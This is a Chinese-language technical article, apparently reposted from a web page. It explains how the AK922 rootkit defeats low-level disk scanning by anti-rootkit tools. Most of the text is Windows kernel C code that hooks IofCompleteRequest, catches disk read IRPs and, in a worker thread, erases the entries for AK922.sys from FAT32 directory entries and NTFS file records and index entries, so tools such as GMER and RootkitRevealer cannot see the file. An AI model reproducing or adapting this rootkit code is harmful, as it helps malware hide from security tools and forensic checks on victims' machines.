突破磁盘低级检测实现文件隐藏

来源:互联网 发布:java 泛型定义 编辑:程序博客网 时间:2024/04/25 16:50
 目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
   驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
   对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
   AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
   下面就着重说一下工作流程:
   首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
   接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
   刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:
// 处理Disk Low-Level Scanningif(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0){                orgnThread = Irp->Tail.Overlay.Thread;    orgnProcess = IoThreadToProcess(orgnThread);            if(Irp->MdlAddress)    {                UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);                    // UserBuffer必须有效        if(UserBuffer)        {                                            if(KeGetCurrentIrql() == DISPATCH_LEVEL)            {                                                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));                                WorkerCtx->UserBuffer = UserBuffer;                WorkerCtx->Length = irpSp->Parameters.Read.Length;                WorkerCtx->EProc = orgnProcess;                                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);                                                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);            }         }            }}
来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:
VOID WorkerThread(PVOID Context){    KIRQL irql;    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;    //PMDL mdl;            if(((PWORKERCTX)Context)->UserBuffer)    {        if(eproc != currProc)        {            KeAttachProcess(eproc);            __try{                            // ProbeForWrite must be running <= APC_LEVEL                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);            }            __except(EXCEPTION_EXECUTE_HANDLER){                //DbgPrint("we can't op the buffer now :-(");                KeDetachProcess();                    return;            }                        KeDetachProcess();                        }else{            __try{                            // ProbeForWrite must be running <= APC_LEVEL                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);            }            __except(EXCEPTION_EXECUTE_HANDLER){}        }        }}

准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{    UCHAR            magic[4];    USHORT            UpdateSequenceOffset;    USHORT            SizeInWords;    LARGE_INTEGER    LogFileSeqNumber;    LARGE_INTEGER    VCN;    ULONG            IndexEntryOffset;    // needed!    ULONG            IndexEntrySize;    ULONG            AllocateSize;}INDEX_HEADER, *PINDEX_HEADER;typedef struct _INDEX_ENTRY{    LARGE_INTEGER        MFTReference;    USHORT            Size;                // needed!    USHORT            FileNameOffset;    USHORT            Flags;    USHORT            Padding;    LARGE_INTEGER        MFTReferParent;    LARGE_INTEGER        CreationTime;    LARGE_INTEGER        ModifyTime;    LARGE_INTEGER        FileRecModifyTime;    LARGE_INTEGER        AccessTime;    LARGE_INTEGER        AllocateSize;    LARGE_INTEGER        RealSize;    LARGE_INTEGER        FileFlags;    UCHAR            FileNameLength;    UCHAR            NameSpace;    WCHAR            FileName[1];}INDEX_ENTRY, *PINDEX_ENTRY;
在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
   在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
   处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen){    ULONG i;    BOOLEAN bIsNtfsIndex;    BOOLEAN bIsNtfsFile;    ULONG offset = 0;    ULONG indexSize = 0;    PINDEX_ENTRY currIndxEntry = NULL;    PINDEX_ENTRY preIndxEntry = NULL;    ULONG currPosition;        bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)    {                        for(i = 0; i < BufLen/0x20; i++)        {            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))            {                *(PUCHAR)UserBuf        = 0xe5;                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;                break;                                }            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);                }    } else if(bIsNtfsFile) {        //DbgPrint("FILE0...");        for(i = 0; i < BufLen / FILERECORDSIZE; i++)        {            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))            {                memset((PVOID)UserBuf, 0, 0x4);                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);                break;            }                            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);                        }                } else if(bIsNtfsIndex) {                                    //DbgPrint("INDX...");        // Index Entries                offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;        indexSize = BufLen - offset;        currPosition = 0;        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);                        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)        {            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))            {                memset((PVOID)currIndxEntry->FileName, 0, 18);                if(currPosition == 0)                {                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;                    break;                }                preIndxEntry->Size += currIndxEntry->Size;                                break;            }            currPosition += currIndxEntry->Size;            preIndxEntry = currIndxEntry;            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);                            }    }}




0 0